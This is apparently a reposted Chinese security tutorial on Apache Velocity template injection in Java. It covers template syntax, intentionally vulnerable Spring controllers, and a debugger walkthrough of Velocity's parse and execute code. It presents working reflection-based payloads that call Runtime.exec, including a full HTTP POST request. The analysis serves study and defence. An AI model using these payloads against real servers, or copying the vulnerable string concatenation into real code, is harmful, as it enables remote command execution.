JAVA安全之Velocity模板注入刨析

news2024/12/27 2:48:37

文章前言

关于Velocity模板注入注入之前一直缺乏一个系统性的学习和整理,搜索网上大多数类似的内容都是一些关于漏洞利用的复现,而且大多都仅限于Velocity.evaluate的执行,对于载荷的构造以及执行过程并没有详细的流程分析,于是乎只能自己动手来填坑了~

模板介绍

Apache Velocity是一个基于模板的引擎,用于生成文本输出(例如:HTML、XML或任何其他形式的ASCII文本),它的设计目标是提供一种简单且灵活的方式来将模板和上下文数据结合在一起,因此被广泛应用于各种Java应用程序中包括Web应用

基本语法

Apache Velocity的语法简洁明了,主要由变量引用、控制结构(例如:条件和循环)、宏定义等组成

变量引用

在Velocity模板中可以使用$符号来引用上下文中的变量,例如:

Hello, $name!

示例代码:

#Java代码
context.put("name", "Al1ex");

#模板内容
Hello, $name!     // 输出: Hello, Al1ex!

条件判断

Velocity支持基本的条件判断,通过#if、#else和#end指令来实现:

#if($user.isLoggedIn())
    Welcome back, $user.name!
#else
    Please log in.
#end

示例代码:

#Java代码

context.put("user", new User("Al1ex", true)); // 假设 User 类有 isLoggedIn 方法

#模板内容

#if($user.isLoggedIn())
    Welcome back, $user.name!
#else
    Please log in.
#end

// 输出: Welcome back, Al1ex!

循环操作

通过使用#foreach来遍历集合或数组

#foreach($item in $items)
    <li>$item</li>
#end

示例代码:

#Java代码
context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));

#模板内容

<ul>
#foreach($item in $items)
    <li>$item</li>
#end
</ul>


#输出:
<ul>
     <li>Apple</li>
    <li>Banana</li>
    <li>Cherry</li>
</ul>

宏定义类

Velocity支持定义宏,方便复用代码块,宏通过#macro定义,通过#end结束:

#macro(greet $name)
    Hello, $name!
#end

#greet("World")

示例代码:

#模板内容
#macro(greet $name)
    Hello, $name!
#end

#greet("Alice")

#输出: Hello, Alice!

方法调用

Velocity允许使用#符号调用工具类的方法,在使用工具类时你需要在上下文中放入相应的对象

#set($currentDate = $dateTool.get("yyyy-MM-dd"))

Today's date is $currentDate.

示例代码:

import org.apache.commons.lang3.time.DateUtils;

#Java代码
context.put("dateTool", new DateUtils());

#模板内容
#set($currentDate = $dateTool.format(new Date(), "yyyy-MM-dd"))

Today's date is $currentDate.

#输出内容: 
Today's date is 2024-08-16

包含插入

Velocity支持包含其他模板文件,通过#include指令实现,例如:
主模板文件main.vm

Hello, $name!

#if($isAdmin)
    #include("adminDashboard.vm")
#else
    #include("userDashboard.vm")
#end

用户仪表盘模板文件userDashboard.vm

Welcome to your user dashboard.
Here are your notifications...

管理员仪表盘模板文件adminDashboard.vm

Welcome to the admin dashboard.
You have access to all administrative tools.

假设我们有以下 Java 代码来渲染主模板:

import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;

import java.io.StringWriter;

public class IncludeExample {
    public static void main(String[] args) {
        // 初始化 Velocity 引擎
        VelocityEngine velocityEngine = new VelocityEngine();
        velocityEngine.init();

        // 创建上下文并添加数据
        VelocityContext context = new VelocityContext();
        context.put("name", "John Doe");
        context.put("isAdmin", true); // 或者 false,取决于用户权限

        // 渲染主模板
        Template template = velocityEngine.getTemplate("main.vm");
        StringWriter writer = new StringWriter();

        // 合并上下文与模板
        template.merge(context, writer);

        // 输出结果
        System.out.println(writer.toString());
    }
}

根据给定的上下文,如果isAdmin为 true,输出将会是:

Hello, John Doe!
Welcome to the admin dashboard.
You have access to all administrative tools.

如果isAdmin为false,输出将会是:

Hello, John Doe!
Welcome to your user dashboard.
Here are your notifications...

数学运算

Velocity也支持基本的数学运算和字符串操作

#set($total = $price * $quantity)
The total cost is $total.

#set($greeting = "Hello, " + $name)
$greeting

示例代码:

#Java代码
context.put("price", 10);
context.put("quantity", 3);
context.put("name", "Al1ex");

#模板内容
#set($total = $price * $quantity)
The total cost is $total.

#set($greeting = "Hello, " + $name)
$greeting

#输出内容:
The total cost is 30.
Hello, Al1ex

标识符类

'#'号标识符

在Apache Velocity模板引擎中#符号用来标识各种脚本语句,允许开发者在模板中实现逻辑控制、数据处理和代码重用等功能,下面是一些常见的以#开头的Velocity指令:
1、#set
用于设置变量的值

#set($name = "John")
Hello, $name!  ## 输出:Hello, John!

2、#if
用于条件判断

#if($age >= 18)
    You are an adult.
#else
    You are a minor.
#end

3、#else
'#'和if搭配使用,表示其它情况

#if($isMember)
    Welcome back, member!
#else
    Please sign up.
#end

4、#foreach
用于遍历集合(例如:数组或列表)

#foreach($item in $items)
    Item: $item
#end

5、#include
用于包含其他文件的内容

#include("header.vm")

6、#parse
类似于#include,但更适合解析并执行另一个模板文件

#parse("footer.vm")

7、#macro
用于定义可重用的宏

#macro(greeting $name)
    Hello, $name!
#end

#greeting("Alice")  ## 输出:Hello, Alice!

8、#break
在循环中用于提前退出循环

#foreach($i in [1..5])
    #if($i == 3)
        #break
    #end
    $i
#end

9、#stop
在模板的渲染过程中停止进一步的处理

#if($condition)
    #stop
#end

10、#directive
用于创建自定义指令

#directive(myDirective)

{}标识符

Velocity中的{}标识符用于变量和表达式的引用,它们提供了一种简洁的方法来插入变量值、调用方法或访问对象属性,例如:
1、引用变量
可以使用${}来引用一个变量的值,变量通常通过#set指令定义

#set($name = "John")

Hello, ${name}!  ## 输出:Hello, John!

2、访问对象属性
如果变量是一个对象,那么可以使用${}来访问该对象的属性

#set($person = {"firstName": "Jane", "lastName": "Doe"})
Hello, ${person.firstName} ${person.lastName}!  ## 输出:Hello, Jane Doe!

3、调用方法
在${}中调用对象的方法

#set($dateTool = $tool.date)
Today's date is: ${dateTool.format("yyyy-MM-dd")}  ## 输出当前日期

$标识符

在Apache Velocity模板引擎中$符号用于表示变量的引用,通过$您可以访问在模板中定义的变量、对象属性和方法,这是Velocity的核心特性之一,使得模板能够动态地插入数据
1、引用变量
使用$可以直接引用之前声明的变量,通常变量是通过#set指令定义的

#set($username = "Alice")
Welcome, $username!  ## 输出:Welcome, Alice!

2、访问对象属性
如果变量是一个对象,可以使用$来访问该对象的属性,例如:如果你有一个用户对象,你可以获取其属性

#set($user = {"name": "Bob", "age": 30})
Hello, $user.name! You are $user.age years old.  ## 输出:Hello, Bob! You are 30 years old.

3、调用方法
通过$来调用对象的方法以便执行某些操作或获取计算的结果

#set($dateTool = $tool.date)

Today's date is: $dateTool.format("yyyy-MM-dd")  ## 输出当前日期

4、表达式计算
虽然$本身只用于变量引用,但可以与{}结合使用来实现简单的数学运算

#set($a = 5)
#set($b = 10)
The sum of $a and $b is ${a + b}.  ## 输出:The sum of 5 and 10 is 15.

! 标识符

在Apache Velocity模板引擎中!符号主要用于处理变量的空值(null)和默认值,它提供了一种简单的方法来确保在引用变量时,如果该变量为空则使用一个默认值,这种功能有助于避免在模板中出现空值,从而增强模板的健壮性和用户体验,当您想要引用一个变量并提供一个默认值时,可以使用${variable!"defaultValue"}的语法,其中:
variable 是您希望引用的变量名
defaultValue 是该变量为空时将使用的值
1、基本使用
在这个例子中由于$name是空字符串所以输出了默认值"Guest"

#set($name = "")

Welcome, ${name!"Guest"}!  ## 输出:Welcome, Guest!

2、带有实际值的变量
如果变量有值那么!不会影响其输出,因为在这个例子中$name有值"Alice",所以会直接输出这个值

#set($name = "Alice")

Welcome, ${name!"Guest"}!  ## 输出:Welcome, Alice!

模板注入

Velocity.evaluate

方法介绍

Velocity.evaluate是Velocity引擎中的一个方法,用于处理字符串模板的评估,Velocity是一个基于Java的模板引擎,广泛应用于WEB开发和其他需要动态内容生成的场合,Velocity.evaluate方法的主要作用是将给定的模板字符串与上下文对象结合并生成最终的输出结果,这个方法通常用于在运行时动态创建内容,比如:生成HTML页面的内容或电子邮件的文本,方法如下所示:

public static void evaluate(Context context, Writer writer, String templateName, String template)

参数说明:

  • Context context:提供模板所需的数据上下文,可以包含多个键值对
  • Writer writer:输出流,用于写入生成的内容
  • String templateName:模板的名称,通常用于调试信息中
  • String template:要评估的模板字符串

示例代码

简易构造如下代码所示:

package com.velocity.velocitytest.controller;

import org.apache.velocity.app.Velocity;
import org.apache.velocity.VelocityContext;
import org.springframework.web.bind.annotation.*;

import java.io.StringWriter;

@RestController
public class VelocityController {

    @RequestMapping("/ssti/velocity1")
    @ResponseBody
    public String velocity1(@RequestParam(defaultValue="Al1ex") String username) {
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Al1ex Al2ex Al3ex");
        ctx.put("phone", "18892936458");
        ctx.put("email", "Al1ex@heptagram.com");

        StringWriter out = new StringWriter();
        Velocity.evaluate(ctx, out, "test", templateString);

        return out.toString();
    }
}

利用载荷

通过上面的菲尼我们可以构造如下payload:

username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")

调试分析

下面我们在Velocity.evaluate功能模块处打断点进行调试分析:


上面参数传递拼接templateString,带入Velocity.evaluate调用evaluate方法:


随后继续向下跟进,在这调用当前类中的evaluate

随后在evaluate中先检查模板名称是否为空,不为空后调用parser进行模板解析:

在这里首先检查是否已经初始化解析器,如果未初始化则进行初始化操作,随后从解析器池中获取一个Parser对象,如果池中没有可用的解析器,则将keepParser标志设为true以便找到对应的适配的解析器,紧接着调用dumpVMNamespace(templateName)方法来转储命名空间信息并使用parser.parse(reader, templateName)方法从reader中解析模板,返回的结果存储在var6中

随后调用parser进行模板解析,首先初始化和状态清理,随后开始进行解析

public SimpleNode parse(Reader reader, String templateName) throws ParseException {
        SimpleNode sn = null;
        this.currentTemplateName = templateName;

        try {
            this.token_source.clearStateVars();
            this.velcharstream.ReInit(reader, 1, 1);
            this.ReInit((CharStream)this.velcharstream);
            sn = this.process();
        } catch (MacroParseException var6) {
            this.rsvc.getLog().error("Parser Error: " + templateName, var6);
            throw var6;
        } catch (ParseException var7) {
            this.rsvc.getLog().error("Parser Exception: " + templateName, var7);
            throw new TemplateParseException(var7.currentToken, var7.expectedTokenSequences, var7.tokenImage, this.currentTemplateName);
        } catch (TokenMgrError var8) {
            throw new ParseException("Lexical error: " + var8.toString());
        } catch (Exception var9) {
            String msg = "Parser Error: " + templateName;
            this.rsvc.getLog().error(msg, var9);
            throw new VelocityException(msg, var9);
        }

        this.currentTemplateName = "";
        return sn;
    }

随后进行模板渲染操作,如果nodeTree为null,则返回false,表示评估失败,如果nodeTree不为null,则调用render方法,使用提供的上下文、写入器和日志标签来渲染模板,将render方法的结果(布尔值)作为返回值,如果渲染成功则返回 true,否则返回false


render渲染代码如下所示:

public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var18) {
                throw new ParseErrorException(var18, (String)null);
            } catch (RuntimeException var19) {
                throw var19;
            } catch (Exception var20) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var20);
                throw new VelocityException(msg, var20);
            }

            try {
                if (this.provideEvaluateScope) {
                    Object previous = ica.get(this.evaluateScopeName);
                    context.put(this.evaluateScopeName, new Scope(this, previous));
                }

                nodeTree.render(ica, writer);
            } catch (StopCommand var21) {
                if (!var21.isFor(this)) {
                    throw var21;
                }

                if (this.getLog().isDebugEnabled()) {
                    this.getLog().debug(var21.getMessage());
                }
            } catch (IOException var22) {
                throw new VelocityException("IO Error in writer: " + var22.getMessage(), var22);
            }
        } finally {
            ica.popCurrentTemplateName();
            if (this.provideEvaluateScope) {
                Object obj = ica.get(this.evaluateScopeName);
                if (obj instanceof Scope) {
                    Scope scope = (Scope)obj;
                    if (scope.getParent() != null) {
                        ica.put(this.evaluateScopeName, scope.getParent());
                    } else if (scope.getReplaced() != null) {
                        ica.put(this.evaluateScopeName, scope.getReplaced());
                    } else {
                        ica.remove(this.evaluateScopeName);
                    }
                }
            }

        }

        return true;
    }

随后通过render将模板的内容渲染到指定的Writer中,jjtGetNumChildren()用于获取子节点数量,this.jjtGetChild(i)获取第i个子节点,对每个子节点调用其render方法将上下文和写入器作为参数传递:


render的具体实现如下所示,在这里会调用execute方法来进行具体的解析操作:

execute的执行代码如下所示,可以看到这里的children即为我们传入的参数值:

public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {
        if (this.referenceType == 4) {
            return null;
        } else {
            Object result = this.getVariableValue(context, this.rootString);
            if (result == null && !this.strictRef) {
                return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo);
            } else {
                try {
                    Object previousResult = result;
                    int failedChild = -1;

                    String methodName;
                    for(int i = 0; i < this.numChildren; ++i) {
                        if (this.strictRef && result == null) {
                            methodName = this.jjtGetChild(i).getFirstToken().image;
                            throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
                        }

                        previousResult = result;
                        result = this.jjtGetChild(i).execute(result, context);
                        if (result == null && !this.strictRef) {
                            failedChild = i;
                            break;
                        }
                    }

                    if (result == null) {
                        if (failedChild == -1) {
                            result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo);
                        } else {
                            StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString);

                            for(int i = 0; i <= failedChild; ++i) {
                                Node node = this.jjtGetChild(i);
                                if (node instanceof ASTMethod) {
                                    name.append(".").append(((ASTMethod)node).getMethodName()).append("()");
                                } else {
                                    name.append(".").append(node.getFirstToken().image);
                                }
                            }

                            if (this.jjtGetChild(failedChild) instanceof ASTMethod) {
                                methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName();
                                result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
                            } else {
                                methodName = this.jjtGetChild(failedChild).getFirstToken().image;
                                result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
                            }
                        }
                    }

                    return result;
                } catch (MethodInvocationException var9) {
                    var9.setReferenceName(this.rootString);
                    throw var9;
                }
            }
        }
    }

通过反射获取执行的类

最终递归解析到"cmd.exe /c calc"

最后完成解析执行:

template.merge(ctx, out)

方法介绍

在Java的Velocity模板引擎中template.merge(ctx, out)是一个关键的方法,它主要用于将模板与给定的上下文数据合并,同时将结果输出到指定的目标,方法格式如下所示:

void merge(Context context, Writer writer)

参数说明:

  • Context context:包含动态数据的上下文对象,通常是VelocityContext的实例,使用上下文可以为模板提供变量和数据,使得模板能够在渲染时采用这些值
  • Writer writer: Writer类型的对象指定了合并后内容的输出目标,常见的实现包括 StringWriter, PrintWriter 等,可以将生成的内容写入字符串、文件或其他输出流

示例代码

Step 1:添加依赖
在pom.xml中添加以下依赖:

<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
        <dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity</artifactId>
            <version>1.7</version>
        </dependency>

Step 2:创建模板文件
在项目的src/main/resources/templates目录下创建一个名为template.vm的文件,内容如下

Hello, $name!

#set($totalPrice = $price * $quantity)
The total cost for $quantity items at $price each is: $totalPrice.

#foreach($item in $items)
- Item: $item
#end

Step 3:创建Controller类
接下来我们创建一个控制器类用于处理请求并返回渲染后的模板

package com.velocity.velocitytest.controller;

import org.apache.velocity.Template;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.context.Context;
import org.apache.velocity.VelocityContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.StringWriter;
import java.util.Arrays;

@RestController
public class VelocityController {

    private final VelocityEngine velocityEngine;

    @Autowired
    public VelocityController(VelocityEngine velocityEngine) { //通过构造函数注入方式获得Velocity引擎实例
        this.velocityEngine = velocityEngine;
    }

    @GetMapping("/generate")
    public String generate(@RequestParam String name,
                           @RequestParam double price,
                           @RequestParam int quantity) {
        // Step 1: 加载模板
        Template template = velocityEngine.getTemplate("template.vm");

        // Step 2: 创建上下文并填充数据
        Context context = new VelocityContext();
        context.put("name", name);
        context.put("price", price);
        context.put("quantity", quantity);
        context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));

        // Step 3: 合并模板和上下文
        StringWriter writer = new StringWriter();
        template.merge(context, writer);

        // 返回结果
        return writer.toString();
    }
}

Step 4:配置Velocity
为了使Velocity引擎可以工作,我们需要在Spring Boot应用程序中进行一些配置,创建一个配置类如下所示

package com.velocity.velocitytest.config;

import org.apache.velocity.app.VelocityEngine;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import java.util.Properties;

@Configuration
public class VelocityConfig {

    @Bean
    public VelocityEngine velocityEngine() {
        Properties props = new Properties();
        props.setProperty("resource.loader", "file");
        props.setProperty("file.resource.loader.path", "src/main/resources/templates"); // 模板路径

        VelocityEngine velocityEngine = new VelocityEngine(props);
        velocityEngine.init();
        return velocityEngine;
    }
}

Step 5:运行项目并进行访问

http://localhost:8080/generate?name=Alice&price=10.99&quantity=3

通过上面的菲尼我们可以构造如下payload:

username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")

调试分析

下面我们简易分析一下如何通过控制模板文件造成命令执行的过程,首先我们在template.merge处下断点:

随后在merge中调用当前类的merge:

随后调用render方法进行渲染:

随后通过render将模板的内容渲染到指定的Writer中,jjtGetNumChildren()用于获取子节点数量,this.jjtGetChild(i)获取第i个子节点,对每个子节点调用其render方法将上下文和写入器作为参数传递:

render的具体实现如下所示,在这里会调用execute方法来进行具体的解析操作:

execute的执行代码如下所示:

public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {
        if (this.referenceType == 4) {
            return null;
        } else {
            Object result = this.getVariableValue(context, this.rootString);
            if (result == null && !this.strictRef) {
                return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo);
            } else {
                try {
                    Object previousResult = result;
                    int failedChild = -1;

                    String methodName;
                    for(int i = 0; i < this.numChildren; ++i) {
                        if (this.strictRef && result == null) {
                            methodName = this.jjtGetChild(i).getFirstToken().image;
                            throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
                        }

                        previousResult = result;
                        result = this.jjtGetChild(i).execute(result, context);
                        if (result == null && !this.strictRef) {
                            failedChild = i;
                            break;
                        }
                    }

                    if (result == null) {
                        if (failedChild == -1) {
                            result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo);
                        } else {
                            StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString);

                            for(int i = 0; i <= failedChild; ++i) {
                                Node node = this.jjtGetChild(i);
                                if (node instanceof ASTMethod) {
                                    name.append(".").append(((ASTMethod)node).getMethodName()).append("()");
                                } else {
                                    name.append(".").append(node.getFirstToken().image);
                                }
                            }

                            if (this.jjtGetChild(failedChild) instanceof ASTMethod) {
                                methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName();
                                result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
                            } else {
                                methodName = this.jjtGetChild(failedChild).getFirstToken().image;
                                result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
                            }
                        }
                    }

                    return result;
                } catch (MethodInvocationException var9) {
                    var9.setReferenceName(this.rootString);
                    throw var9;
                }
            }
        }
    }

通过反射获取执行的类

最后完成解析执行:

补充一个可用载荷:

POST /ssti/velocity1 HTTP/1.1
Host: 192.168.1.7:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 303

username=#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cmd.exe /c calc"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2078592.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大模型学习必备指南:深入解析技术原理与应用,从入门到精通一应俱全

目录 1. 深度神经网络 2. 激活函数 3. 损失函数 4. 优化算法 5. 正则化 6. 模型结构 7. 预训练与微调 8. 模型压缩与加速 9. 解释性与可解释性 10. 隐私与安全 11. 总结 推荐阅读 有人说&#xff0c;最近我们都患上了大模型焦虑症。 随着计算能力的提升和数据量的…

视频MOV如何转换成MP4?介绍这些转换方案

视频MOV如何转换成MP4&#xff1f;不同的应用场景往往需要使用不同格式的视频文件,其中MOV 和 MP4 是两种常见的视频格式。MOV 格式由苹果公司开发&#xff0c;主要用于 QuickTime 平台&#xff1b;而 MP4 格式则是一种更为通用的标准&#xff0c;广泛应用于互联网、移动设备以…

Java 输入与输出之 NIO【非阻塞式IO】【NIO核心原理】探索之【一】

Java标准的输入/输出&#xff08;Input/Output&#xff0c;简称I/O&#xff09;是Java程序与外部世界进行交互的重要机制&#xff0c;它允许程序读取和写入数据到各种类型的源&#xff0c;如文件、网络套接字、管道、内存缓冲区等。Java I/O API主要位于java.io包中&#xff0c…

SqlHelper 使用EF-Core框架 连接池处理并发

定义数据库 数据库名称&#xff1a;T_dicomPatientMsg 注意5大约束条件&#xff1a; 1.主键约束&#xff1a;primary key IDKEY设置为主键&#xff0c;主键设置自增长 2.唯一性约束&#xff1a;unique 3.默认约束&#xff1a;default 所有值都要设置默认值&#xff0c…

Unraid 手动安装docker

目录 常用镜像链接一.安装示例1[firefox浏览器]:1.离线下载docker镜像2.将xxx.tar镜像数据加载到 Docker 中3.手动添加docker 二.安装示例2[等我有东西需要安装再回来补教程吧]:三.获取UDI和GID 常用镜像链接 特别版 emby 文件管理器 filebrowser内外穿透 zerotierNAS媒体库管…

Python和Pycharm安装

有需要的私聊我吧&#xff01;&#xff01;&#xff01;

伺服电机最佳速度范围是多少?

伺服电机的最佳速度范围取决于多种因素&#xff0c;包括电机的规格、负载类型、控制要求和应用环境等。一般来说&#xff0c;伺服电机的最佳速度范围是其额定转速的70%到100%之间。这一范围内&#xff0c;电机能够提供最佳的效率、精度和响应速度。 关键因素影响伺服电机速度范…

从B端工程师到AI绘画工程师:我的转行之路与实战指南

一、背景&#xff1a;B端工程师的迷茫与探索 大家好&#xff0c;我是一名有着五年B端服务经验的软件工程师。在长期的B端工作中&#xff0c;我逐渐感到自己的技术栈和视野受限&#xff0c;对未来的职业发展产生了迷茫。在一次偶然的机会中&#xff0c;我接触到了AI绘画这一领域…

nacos 安装

1. 环境准备 使用此快速开始方法进行Nacos安装及部署&#xff0c;需要安装Docker和Docker Compose。 如何下载不下来&#xff0c;可换镜像加速地址 vi /etc/docker/daemon.json {"registry-mirrors": ["https://docker.registry.cyou"] }可用镜像加速地…

合宙Air700EAQ硬件设计手册——应用接口2

Air700EAQ是一款基于移芯EC716E平台设计的LTE Cat 1无线通信模组。 支持亚洲FDD-LTE的4G远距离无线传 输技术。 以极小封装&#xff0c;极高性价比&#xff0c;满足IoT行业的数传应用需求。 例如共享应用场景&#xff0c;定位器场景&#xff0c;DTU数 传场景等。 在上文我们…

E82EV752K4C变频器可议价

E82EV752K4C变频器可议价 E82EV752K4C变频器可议价 E82EV752K4C变频器可议价 E82EV752K4C变频器参数表 E82EV752K4C变频器引脚图 E82EV752K4C变频器线路图 E82EV752K4C变频器节能主要表现在风机、水泵的应用上。风机、泵类负载采用变频调速后&#xff0c;节电率为20%&…

基于Java+SpringBoot+Vue的知识管理系统

基于JavaSpringBootVue的知识管理系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取项目下载方式&#x1f345; 哈喽…

AI驱动的Web3革命:如何通过智能技术实现去中心化

在当今的数字世界中&#xff0c;人工智能&#xff08;AI&#xff09;和Web3分别代表了智能技术和去中心化网络的两大潮流。它们的结合不仅展示了科技的无限潜力&#xff0c;还预示着我们即将迎来一个全新的互联网时代。本文将探讨AI如何驱动Web3革命&#xff0c;并实现更加智能…

RFID光触发标签在零售行业的深度应用

零售行业作为现代经济的重要组成部分&#xff0c;面临着诸多挑战和竞争压力&#xff0c;消费者需求的多样化、快速变化的市场趋势以及日益复杂的供应链管理&#xff0c;都对零售商提出了更高的要求&#xff0c;在这样的背景下&#xff0c;寻求创新的技术解决方案以提高运营效率…

CRMEB 多店版移动端商家管理功能-工作台

一、功能说明 工作台页面可查看当日总销售额&#xff0c;当日订单数、支付人数以及当日浏览量。快捷进如待处理事项页面&#xff0c;包含商家管理所有功能页面入口。 二、操作流程 1、查看销售额 商家可查看当日总销售额。当日订单数&#xff0c;支付人数以及当日浏览量。点…

TikTok达人的社群经济新生态

在数字化时代&#xff0c;TikTok达人带货不仅催生了新的社群经济生态&#xff0c;还实现了品牌、达人与消费者之间的共创、共享与共赢。本文Nox聚星将和大家探讨TikTok达人带货如何催生新的社群经济生态&#xff0c;并分析其对品牌成长和消费者满意度的推动作用。 1. 共创&…

PHP多门店民宿酒店预订系统小程序源码

&#x1f3e8;✨「多门店酒店民宿预订系统」——一键解锁全球住宿新体验&#xff01;&#x1f30d;&#x1f3e0; &#x1f31f; 开篇种草&#xff1a;旅行新伙伴&#xff0c;预订无忧&#xff01; 嘿小伙伴们&#xff0c;是不是每次计划旅行都被繁琐的酒店民宿预订搞得头大&…

东方晶源即将亮相IDAS 2024设计自动化产业峰会!

第二届设计自动化产业峰会IDAS 2024&#xff08;Intelligent Design Automation Summit 2024&#xff09;将于2024年9月23日-24日在上海张江科学会堂隆重举行。 东方晶源微电子科技&#xff08;北京&#xff09;股份有限公司将亮相峰会&#xff01;期待与您相聚&#xff0c;与全…

Coze智能体:最长用的5类插件工具集

Coze智能体&#xff1a;最长用的5类插件工具集 前言搜索类 1.必应搜索2. 必应图片搜索3. 头条搜索4. 获取头条新闻5. 抖音视频搜索6. 百度搜索7. 微信搜索8. 知乎热榜搜索工具类 1.中文文本转语音2. 英文文本转语音3. 语音转文字&#xff1a;4. 代码执行器文档类 1. 链接读取2.…